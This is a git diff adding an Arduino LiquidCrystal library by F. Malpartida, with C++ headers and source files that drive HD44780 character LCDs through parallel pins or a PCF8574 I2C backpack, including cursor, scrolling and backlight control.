/*! + @method + @abstract LiquidCrystal abstract constructor. + @discussion LiquidCrystal class abstract constructor needed to create + the base abstract class. + */ + LCD ( ); + + /*! + @function + @abstract LCD initialization. + @discussion Initializes the LCD to a given size (col, row). This methods + initializes the LCD, therefore, it MUST be called prior to using any other + method from this class. + + This method is abstract, a base implementation is available common to all LCD + drivers. Should it not be compatible with some other LCD driver, a derived + implementation should be done on the driver specif class. + + @param cols[in] the number of columns that the display has + @param rows[in] the number of rows that the display has + @param charsize[in] character size, default==LCD_5x8DOTS + */ + virtual void begin(uint8_t cols, uint8_t rows, uint8_t charsize = LCD_5x8DOTS); + + /*! + @function + @abstract Clears the LCD. + @discussion Clears the LCD screen and positions the cursor in the upper-left + corner. + + This operation is time consuming for the LCD. + + @param none + */ + void clear(); + + /*! + @function + @abstract Sets the cursor to the upper-left corner. + @discussion Positions the cursor in the upper-left of the LCD. + That is, use that location in outputting subsequent text to the display. + To also clear the display, use the clear() function instead. + + This operation is time consuming for the LCD. + + @param none + */ + void home(); + + /*! + @function + @abstract Turns off the LCD display. + @discussion Turns off the LCD display, without losing the text currently + being displayed on it. + + @param none + */ + void noDisplay(); + + /*! + @function + @abstract Turns on the LCD display. + @discussion Turns on the LCD display, after it's been turned off with + noDisplay(). This will restore the text (and cursor location) that was on + the display prior to calling noDisplay(). + + @param none + */ + void display(); + + /*! + @function + @abstract Turns off the blinking of the LCD cursor. + + @param none + */ + void noBlink(); + + /*! + @function + @abstract Display the cursor of the LCD. + @discussion Display the blinking LCD cursor. If used in combination with + the cursor() function, the result will depend on the particular display. + + @param none + */ + void blink(); + + /*! + @function + @abstract Hides the LCD cursor. + + @param none + */ + void noCursor(); + + /*! + @function + @abstract Display the LCD cursor. + @discussion Display the LCD cursor: an underscore (line) at the location + where the next character will be written. + + @param none + */ + void cursor(); + + /*! + @function + @abstract Scrolls the contents of the display (text and cursor) one space + to the left. + + @param none + */ + void scrollDisplayLeft(); + + /*! + @function + @abstract Scrolls the contents of the display (text and cursor) one space + to the right. + + @param none + */ + void scrollDisplayRight(); + + /*! + @function + @abstract Set the direction for text written to the LCD to left-to-right. + @discussion Set the direction for text written to the LCD to left-to-right. + All subsequent characters written to the display will go from left to right, + but does not affect previously-output text. + + This is the default configuration. + + @param none + */ + void leftToRight(); + + /*! + @function + @abstract Set the direction for text written to the LCD to right-to-left. + @discussion Set the direction for text written to the LCD to right-to-left. + All subsequent characters written to the display will go from right to left, + but does not affect previously-output text. + + left-to-right is the default configuration. + + @param none + */ + void rightToLeft(); + + /*! + @function + @abstract Moves the cursor one space to the left. + @discussion + @param none + */ + void moveCursorLeft(); + + + /*! + @function + @abstract Moves the cursor one space to the right. + + @param none + */ + void moveCursorRight(); + + /*! + @function + @abstract Turns on automatic scrolling of the LCD. + @discussion Turns on automatic scrolling of the LCD. This causes each + character output to the display to push previous characters over by one + space. If the current text direction is left-to-right (the default), + the display scrolls to the left; if the current direction is right-to-left, + the display scrolls to the right. + This has the effect of outputting each new character to the same location on + the LCD. + + @param none + */ + void autoscroll(); + + /*! + @function + @abstract Turns off automatic scrolling of the LCD. + @discussion Turns off automatic scrolling of the LCD, this is the default + configuration of the LCD. + + @param none + */ + void noAutoscroll(); + + /*! + @function + @abstract Creates a custom character for use on the LCD. + @discussion Create a custom character (glyph) for use on the LCD. + Most chipsets only support up to eight characters of 5x8 pixels. Therefore, + this methods has been limited to locations (numbered 0 to 7). + + The appearance of each custom character is specified by an array of eight + bytes, one for each row. The five least significant bits of each byte + determine the pixels in that row. To display a custom character on screen, + write()/print() its number, i.e. lcd.print (char(x)); // Where x is 0..7. + + @param location[in] LCD memory location of the character to create + (0 to 7) + @param charmap[in] the bitmap array representing each row of the character. + */ + void createChar(uint8_t location, uint8_t charmap[]); + + /*! + @function + @abstract Position the LCD cursor. + @discussion Sets the position of the LCD cursor. Set the location at which + subsequent text written to the LCD will be displayed. + + @param col[in] LCD column + @param row[in] LCD row - line. + */ + void setCursor(uint8_t col, uint8_t row); + + /*! + @function + @abstract Switch-on the LCD backlight. + @discussion Switch-on the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + */ + void backlight ( void ); + + /*! + @function + @abstract Switch-off the LCD backlight. + @discussion Switch-off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + */ + void noBacklight ( void ); + + /*! + @function + @abstract Switch on the LCD module. + @discussion Switch on the LCD module, it will switch on the LCD controller + and the backlight. This method has the same effect of calling display and + backlight. @see display, @see backlight + */ + void on ( void ); + + /*! + @function + @abstract Switch off the LCD module. + @discussion Switch off the LCD module, it will switch off the LCD controller + and the backlight. This method has the same effect of calling noDisplay and + noBacklight. @see display, @see backlight + */ + void off ( void ); + + // + // virtual class methods + // -------------------------------------------------------------------------- + /*! + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. + This method is device dependent and can be programmed on each subclass. An + empty function call is provided that does nothing. + + @param value: pin associated to backlight control. + @param pol: backlight polarity control (POSITIVE, NEGATIVE) + */ + virtual void setBacklightPin ( uint8_t value, t_backlighPol pol ) { }; + + /*! + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. The behaviour + of this method is very dependent on the device. Some controllers support + dimming some don't. Please read the actual header file for each individual + device. The setBacklightPin method has to be called before setting the backlight + or the adequate backlight control constructor. + @see setBacklightPin. + + NOTE: The prefered methods to control the backlight are "backlight" and + "noBacklight". + + @param 0..255 - the value is very dependent on the LCD. However, + BACKLIGHT_OFF will be interpreted as off and BACKLIGHT_ON will drive the + backlight on. + */ + virtual void setBacklight ( uint8_t value ) { }; + + /*! + @function + @abstract Writes to the LCD. + @discussion This method writes character to the LCD in the current cursor + position. + + This is the virtual write method, implemented in the Print class, therefore + all Print class methods will end up calling this method. + + @param value[in] Value to write to the LCD. + */ +#if (ARDUINO < 100) + virtual void write(uint8_t value); +#else + virtual size_t write(uint8_t value); +#endif + +#if (ARDUINO < 100) + using Print::write; +#else + using Print::write; +#endif + +protected: + // Internal LCD variables to control the LCD shared between all derived + // classes. + uint8_t _displayfunction; // LCD_5x10DOTS or LCD_5x8DOTS, LCD_4BITMODE or + // LCD_8BITMODE, LCD_1LINE or LCD_2LINE + uint8_t _displaycontrol; // LCD base control command LCD on/off, blink, cursor + // all commands are "ored" to its contents. + uint8_t _displaymode; // Text entry mode to the LCD + uint8_t _numlines; // Number of lines of the LCD, initialized with begin() + uint8_t _cols; // Number of columns in the LCD + t_backlighPol _polarity; // Backlight polarity + +private: + /*! + @function + @abstract Send a command to the LCD. + @discussion This method sends a command to the LCD by setting the Register + select line of the LCD. + + This command shouldn't be used to drive the LCD, only to implement any other + feature that is not available on this library. + + @param value[in] Command value to send to the LCD (COMMAND, DATA or + FOUR_BITS). + */ + void command(uint8_t value); + + /*! + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD. This is a pure abstract + method, therefore, it is implementation dependent of each derived class how + to physically write to the LCD. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @result mode LOW - write to the LCD CGRAM, HIGH - write a command to + the LCD. + */ +#if (ARDUINO < 100) + virtual void send(uint8_t value, uint8_t mode) { }; +#else + virtual void send(uint8_t value, uint8_t mode) = 0; +#endif + +}; + +#endif diff --git a/libraries/LiquidCrystal/LiquidCrystal.cpp b/libraries/LiquidCrystal/LiquidCrystal.cpp new file mode 100644 index 0000000..2c2cae1 --- /dev/null +++ b/libraries/LiquidCrystal/LiquidCrystal.cpp @@ -0,0 +1,299 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal.cpp +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK. +// +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. The original library has been reworked in such a way that +// this class implements the all methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets using the parallel port of +// the LCD (4 bit and 8 bit). +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library. +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#include +#include +#include + +#if (ARDUINO < 100) +#include +#else +#include +#endif +#include "LiquidCrystal.h" + +// CONSTANT definitions +// --------------------------------------------------------------------------- +#define LCD_NOBACKLIGHT 0xFF + +// LCD driver configuration (4bit or 8bit driver control) +#define LCD_4BIT 1 +#define LCD_8BIT 0 + +// STATIC helper functions +// --------------------------------------------------------------------------- + + +// CONSTRUCTORS +// --------------------------------------------------------------------------- + +LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7) +{ + init(LCD_8BIT, rs, 255, enable, d0, d1, d2, d3, d4, d5, d6, d7); +} + +LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7) +{ + init(LCD_8BIT, rs, rw, enable, d0, d1, d2, d3, d4, d5, d6, d7); +} + +LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3) +{ + init(LCD_4BIT, rs, rw, enable, d0, d1, d2, d3, 0, 0, 0, 0); +} + +LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3) +{ + init(LCD_4BIT, rs, 255, enable, d0, d1, d2, d3, 0, 0, 0, 0); +} + +// Contructors with backlight control +LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, + uint8_t backlightPin, t_backlighPol pol) +{ + init(LCD_8BIT, rs, 255, enable, d0, d1, d2, d3, d4, d5, d6, d7); + setBacklightPin ( backlightPin, pol ); +} + +LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, + uint8_t backlightPin, t_backlighPol pol) +{ + init(LCD_8BIT, rs, rw, enable, d0, d1, d2, d3, d4, d5, d6, d7); + setBacklightPin ( backlightPin, pol ); +} + +LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t backlightPin, t_backlighPol pol) +{ + init(LCD_4BIT, rs, rw, enable, d0, d1, d2, d3, 0, 0, 0, 0); + setBacklightPin ( backlightPin, pol ); +} + +LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t backlightPin, t_backlighPol pol) +{ + init(LCD_4BIT, rs, 255, enable, d0, d1, d2, d3, 0, 0, 0, 0); + setBacklightPin ( backlightPin, pol ); +} + +// PUBLIC METHODS +// --------------------------------------------------------------------------- + +/************ low level data pushing commands **********/ +// +// send +void LiquidCrystal::send(uint8_t value, uint8_t mode) +{ + // Only interested in COMMAND or DATA + digitalWrite( _rs_pin, ( mode == DATA ) ); + + // if there is a RW pin indicated, set it low to Write + // --------------------------------------------------- + if (_rw_pin != 255) + { + digitalWrite(_rw_pin, LOW); + } + + if ( mode != FOUR_BITS ) + { + if ( (_displayfunction & LCD_8BITMODE ) ) + { + writeNbits(value, 8); + } + else + { + writeNbits ( value >> 4, 4 ); + writeNbits ( value, 4 ); + } + } + else + { + writeNbits ( value, 4 ); + } + waitUsec ( EXEC_TIME ); // wait for the command to execute by the LCD +} + +// +// setBacklightPin +void LiquidCrystal::setBacklightPin ( uint8_t pin, t_backlighPol pol ) +{ + pinMode ( pin, OUTPUT ); // Difine the backlight pin as output + _backlightPin = pin; + _polarity = pol; + setBacklight(BACKLIGHT_OFF); // Set the backlight low by default +} + +// +// setBackligh +void LiquidCrystal::setBacklight ( uint8_t value ) +{ + // Check if there is a pin assigned to the backlight + // --------------------------------------------------- + if ( _backlightPin != LCD_NOBACKLIGHT ) + { + // Check if the pin is associated to a timer, i.e. PWM + // --------------------------------------------------- + if(digitalPinToTimer(_backlightPin) != NOT_ON_TIMER) + { + // Check for control polarity inversion + // --------------------------------------------------- + if ( _polarity == POSITIVE ) + { + analogWrite ( _backlightPin, value ); + } + else + { + analogWrite ( _backlightPin, 255 - value ); + } + } + // Not a PWM pin, set the backlight pin for POSI or NEG + // polarity + // -------------------------------------------------------- + else if (((value > 0) && (_polarity == POSITIVE)) || + ((value == 0) && (_polarity == NEGATIVE))) + { + digitalWrite( _backlightPin, HIGH); + } + else + { + digitalWrite( _backlightPin, LOW); + } + } +} + +// PRIVATE METHODS +// --------------------------------------------------------------------------- + + +// init +void LiquidCrystal::init(uint8_t fourbitmode, uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7) +{ + uint8_t i; + + // Initialize the IO pins + // ----------------------- + + _rs_pin = rs; + _rw_pin = rw; + _enable_pin = enable; + + _data_pins[0] = d0; + _data_pins[1] = d1; + _data_pins[2] = d2; + _data_pins[3] = d3; + _data_pins[4] = d4; + _data_pins[5] = d5; + _data_pins[6] = d6; + _data_pins[7] = d7; + + // Initialize the IO port direction to OUTPUT + // ------------------------------------------ + + for ( i = 0; i < 4; i++ ) + { + pinMode ( _data_pins[i], OUTPUT ); + } + + // Initialize the rest of the ports if it is an 8bit controlled LCD + // ---------------------------------------------------------------- + + if ( !fourbitmode ) + { + for ( i = 4; i < 8; i++ ) + { + pinMode ( _data_pins[i], OUTPUT ); + } + } + pinMode(_rs_pin, OUTPUT); + + // we can save 1 pin by not using RW. Indicate by passing 255 instead of pin# + if (_rw_pin != 255) + { + pinMode(_rw_pin, OUTPUT); + } + + pinMode(_enable_pin, OUTPUT); + + // Initialise displaymode functions to defaults: LCD_1LINE and LCD_5x8DOTS + // ------------------------------------------------------------------------- + if (fourbitmode) + _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS; + else + _displayfunction = LCD_8BITMODE | LCD_1LINE | LCD_5x8DOTS; + + // Now we pull both RS and R/W low to begin commands + digitalWrite(_rs_pin, LOW); + digitalWrite(_enable_pin, LOW); + + if (_rw_pin != 255) + { + digitalWrite(_rw_pin, LOW); + } + + // Initialise the backlight pin no nothing + _backlightPin = LCD_NOBACKLIGHT; + _polarity = POSITIVE; +} + +// +// pulseEnable +void LiquidCrystal::pulseEnable(void) +{ + // There is no need for the delays, since the digitalWrite operation + // takes longer. + digitalWrite(_enable_pin, HIGH); + waitUsec(1); // enable pulse must be > 450ns + digitalWrite(_enable_pin, LOW); +} + +// +// write4bits +void LiquidCrystal::writeNbits(uint8_t value, uint8_t numBits) +{ + for (uint8_t i = 0; i < numBits; i++) + { + digitalWrite(_data_pins[i], (value >> i) & 0x01); + } + pulseEnable(); +} + + diff --git a/libraries/LiquidCrystal/LiquidCrystal.h b/libraries/LiquidCrystal/LiquidCrystal.h new file mode 100644 index 0000000..e2114dc --- /dev/null +++ b/libraries/LiquidCrystal/LiquidCrystal.h @@ -0,0 +1,161 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal.h +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK. +// +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. The original library has been reworked in such a way that +// this class implements the all methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets using the parallel port of +// the LCD (4 bit and 8 bit). +// +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#ifndef LiquidCrystal_4bit_h +#define LiquidCrystal_4bit_h + +#include + +#include "LCD.h" +#include "FastIO.h" + + +/*! + @defined + @abstract Command execution time on the LCD. + @discussion This defines how long a command takes to execute by the LCD. + The time is expressed in micro-seconds. + */ +#define EXEC_TIME 37 + +class LiquidCrystal : public LCD +{ +public: + /*! + @method + @abstract 8 bit LCD constructors. + @discussion Defines the pin assignment that the LCD will have. + The constructor does not initialize the LCD. + */ + LiquidCrystal(uint8_t rs, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7); + LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7); + + // Constructors with backlight control + LiquidCrystal(uint8_t rs, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, + uint8_t backlightPin, t_backlighPol pol); + LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, + uint8_t backlightPin, t_backlighPol pol); + /*! + @method + @abstract 4 bit LCD constructors. + @discussion Defines the pin assignment that the LCD will have. + The constructor does not initialize the LCD. + */ + LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3); + LiquidCrystal(uint8_t rs, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3); + + // Constructors with backlight control + LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t backlightPin, t_backlighPol pol); + LiquidCrystal(uint8_t rs, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t backlightPin, t_backlighPol pol); + /*! + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command. + + Users should never call this method. + + @param value Value to send to the LCD. + @result mode LOW - write to the LCD CGRAM, HIGH - write a command to + the LCD. + */ + virtual void send(uint8_t value, uint8_t mode); + + /*! + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. + + @param pin: pin assigned to the backlight + @param pol: backlight pin control polarity (POSITIVE, NEGATIVE). + */ + void setBacklightPin ( uint8_t pin, t_backlighPol pol ); + + /*! + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. For dimming control of the + backlight, the configuration pin must be a PWM output pin. Dim control + is achieved by passing a value from 1 to 255 as a parameter. If the + pin configured when calling the setBacklightPin does not support PWM, + then: (0) backlight off, (1..255) backlight on. + + @param value: backlight value. 0: off, 1..255: dim control of the + backlight. For negative logic 255: off, 254..0: dim control. + */ + void setBacklight ( uint8_t value ); + +private: + + /*! + @method + @abstract Initializes the LCD pin allocation and associated HW + @discussion Initializes the LCD pin allocation and configuration. + */ + void init(uint8_t fourbitmode, uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7); + + /*! + @method + @abstract Writes numBits bits from value value to the LCD. + @discussion Writes numBists bits (the least significant) to the LCD control + data lines. + */ + void writeNbits(uint8_t value, uint8_t numBits); + + /*! + @method + @abstract Pulse the LCD enable line (En). + @discussion Sends a pulse of 1 uS to the Enable pin to execute an command + or write operation. + */ + void pulseEnable(); + + uint8_t _rs_pin; // LOW: command. HIGH: character. + uint8_t _rw_pin; // LOW: write to LCD. HIGH: read from LCD. + uint8_t _enable_pin; // activated by a HIGH pulse. + uint8_t _data_pins[8]; // Data pins. + uint8_t _backlightPin; // Pin associated to control the LCD backlight +}; + +#endif diff --git a/libraries/LiquidCrystal/LiquidCrystal_I2C.cpp b/libraries/LiquidCrystal/LiquidCrystal_I2C.cpp new file mode 100644 index 0000000..8f1ce77 --- /dev/null +++ b/libraries/LiquidCrystal/LiquidCrystal_I2C.cpp @@ -0,0 +1,291 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_I2C.c +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK but using an I2C IO extension board. +// +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. The original library has been reworked in such a way that +// this class implements the all methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets using I2C extension +// backpacks such as the I2CLCDextraIO with the PCF8574* I2C IO Expander ASIC. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library. +// +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#if (ARDUINO < 100) +#include +#else +#include +#endif +#include +#include "I2CIO.h" +#include "LiquidCrystal_I2C.h" + +// CONSTANT definitions +// --------------------------------------------------------------------------- + +// flags for backlight control +/*! + @defined + @abstract LCD_NOBACKLIGHT + @discussion NO BACKLIGHT MASK + */ +#define LCD_NOBACKLIGHT 0x00 + +/*! + @defined + @abstract LCD_BACKLIGHT + @discussion BACKLIGHT MASK used when backlight is on + */ +#define LCD_BACKLIGHT 0xFF + + +// Default library configuration parameters used by class constructor with +// only the I2C address field. +// --------------------------------------------------------------------------- +/*! + @defined + @abstract Enable bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Enable + */ +#define EN 6 // Enable bit + +/*! + @defined + @abstract Read/Write bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Rw pin + */ +#define RW 5 // Read/Write bit + +/*! + @defined + @abstract Register bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Register select pin + */ +#define RS 4 // Register select bit + +/*! + @defined + @abstract LCD dataline allocation this library only supports 4 bit LCD control + mode. + @discussion D4, D5, D6, D7 LCD data lines pin mapping of the extender module + */ +#define D4 0 +#define D5 1 +#define D6 2 +#define D7 3 + + +// CONSTRUCTORS +// --------------------------------------------------------------------------- +LiquidCrystal_I2C::LiquidCrystal_I2C( uint8_t lcd_Addr ) +{ + config(lcd_Addr, EN, RW, RS, D4, D5, D6, D7); +} + + +LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t backlighPin, + t_backlighPol pol = POSITIVE) +{ + config(lcd_Addr, EN, RW, RS, D4, D5, D6, D7); + setBacklightPin(backlighPin, pol); +} + +LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, + uint8_t Rs) +{ + config(lcd_Addr, En, Rw, Rs, D4, D5, D6, D7); +} + +LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, + uint8_t Rs, uint8_t backlighPin, + t_backlighPol pol = POSITIVE) +{ + config(lcd_Addr, En, Rw, Rs, D4, D5, D6, D7); + setBacklightPin(backlighPin, pol); +} + +LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, + uint8_t Rs, uint8_t d4, uint8_t d5, + uint8_t d6, uint8_t d7 ) +{ + config(lcd_Addr, En, Rw, Rs, d4, d5, d6, d7); +} + +LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, + uint8_t Rs, uint8_t d4, uint8_t d5, + uint8_t d6, uint8_t d7, uint8_t backlighPin, + t_backlighPol pol = POSITIVE ) +{ + config(lcd_Addr, En, Rw, Rs, d4, d5, d6, d7); + setBacklightPin(backlighPin, pol); +} + +// PUBLIC METHODS +// --------------------------------------------------------------------------- + +// +// begin +void LiquidCrystal_I2C::begin(uint8_t cols, uint8_t lines, uint8_t dotsize) +{ + + init(); // Initialise the I2C expander interface + LCD::begin ( cols, lines, dotsize ); +} + + +// User commands - users can expand this section +//---------------------------------------------------------------------------- +// Turn the (optional) backlight off/on + +// +// setBacklightPin +void LiquidCrystal_I2C::setBacklightPin ( uint8_t value, t_backlighPol pol = POSITIVE ) +{ + _backlightPinMask = ( 1 << value ); + _polarity = pol; + setBacklight(BACKLIGHT_OFF); +} + +// +// setBacklight +void LiquidCrystal_I2C::setBacklight( uint8_t value ) +{ + // Check if backlight is available + // ---------------------------------------------------- + if ( _backlightPinMask != 0x0 ) + { + // Check for polarity to configure mask accordingly + // ---------------------------------------------------------- + if (((_polarity == POSITIVE) && (value > 0)) || + ((_polarity == NEGATIVE ) && ( value == 0 ))) + { + _backlightStsMask = _backlightPinMask & LCD_BACKLIGHT; + } + else + { + _backlightStsMask = _backlightPinMask & LCD_NOBACKLIGHT; + } + _i2cio.write( _backlightStsMask ); + } +} + + +// PRIVATE METHODS +// --------------------------------------------------------------------------- + +// +// init +int LiquidCrystal_I2C::init() +{ + int status = 0; + + // initialize the backpack IO expander + // and display functions. + // ------------------------------------------------------------------------ + if ( _i2cio.begin ( _Addr ) == 1 ) + { + _i2cio.portMode ( OUTPUT ); // Set the entire IO extender to OUTPUT + _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS; + status = 1; + _i2cio.write(0); // Set the entire port to LOW + } + return ( status ); +} + +// +// config +void LiquidCrystal_I2C::config (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 ) +{ + _Addr = lcd_Addr; + + _backlightPinMask = 0; + _backlightStsMask = LCD_NOBACKLIGHT; + _polarity = POSITIVE; + + _En = ( 1 << En ); + _Rw = ( 1 << Rw ); + _Rs = ( 1 << Rs ); + + // Initialise pin mapping + _data_pins[0] = ( 1 << d4 ); + _data_pins[1] = ( 1 << d5 ); + _data_pins[2] = ( 1 << d6 ); + _data_pins[3] = ( 1 << d7 ); +} + + + +// low level data pushing commands +//---------------------------------------------------------------------------- + +// +// send - write either command or data +void LiquidCrystal_I2C::send(uint8_t value, uint8_t mode) +{ + // No need to use the delay routines since the time taken to write takes + // longer that what is needed both for toggling and enable pin an to execute + // the command. + + if ( mode == FOUR_BITS ) + { + write4bits( (value & 0x0F), COMMAND ); + } + else + { + write4bits( (value >> 4), mode ); + write4bits( (value & 0x0F), mode); + } +} + +// +// write4bits +void LiquidCrystal_I2C::write4bits ( uint8_t value, uint8_t mode ) +{ + uint8_t pinMapValue = 0; + + // Map the value to LCD pin mapping + // -------------------------------- + for ( uint8_t i = 0; i < 4; i++ ) + { + if ( ( value & 0x1 ) == 1 ) + { + pinMapValue |= _data_pins[i]; + } + value = ( value >> 1 ); + } + + // Is it a command or data + // ----------------------- + if ( mode == DATA ) + { + mode = _Rs; + } + + pinMapValue |= mode | _backlightStsMask; + pulseEnable ( pinMapValue ); +} + +// +// pulseEnable +void LiquidCrystal_I2C::pulseEnable (uint8_t data) +{ + _i2cio.write (data | _En); // En HIGH + _i2cio.write (data & ~_En); // En LOW +} \ No newline at end of file diff --git a/libraries/LiquidCrystal/LiquidCrystal_I2C.h b/libraries/LiquidCrystal/LiquidCrystal_I2C.h new file mode 100644 index 0000000..ea6d87f --- /dev/null +++ b/libraries/LiquidCrystal/LiquidCrystal_I2C.h @@ -0,0 +1,204 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_I2C.h +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK but using an I2C IO extension board. +// +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. The original library has been reworked in such a way that +// this class implements the all methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets using I2C extension +// backpacks such as the I2CLCDextraIO with the PCF8574* I2C IO Expander ASIC. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library. +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#ifndef LiquidCrystal_I2C_h +#define LiquidCrystal_I2C_h +#include +#include + +#include "I2CIO.h" +#include "LCD.h" + + +class LiquidCrystal_I2C : public LCD +{ +public: + + /*! + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + */ + LiquidCrystal_I2C (uint8_t lcd_Addr); + // Constructor with backlight control + LiquidCrystal_I2C (uint8_t lcd_Addr, uint8_t backlighPin, t_backlighPol pol); + + /*! + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + @param En[in] LCD En (Enable) pin connected to the IO extender module 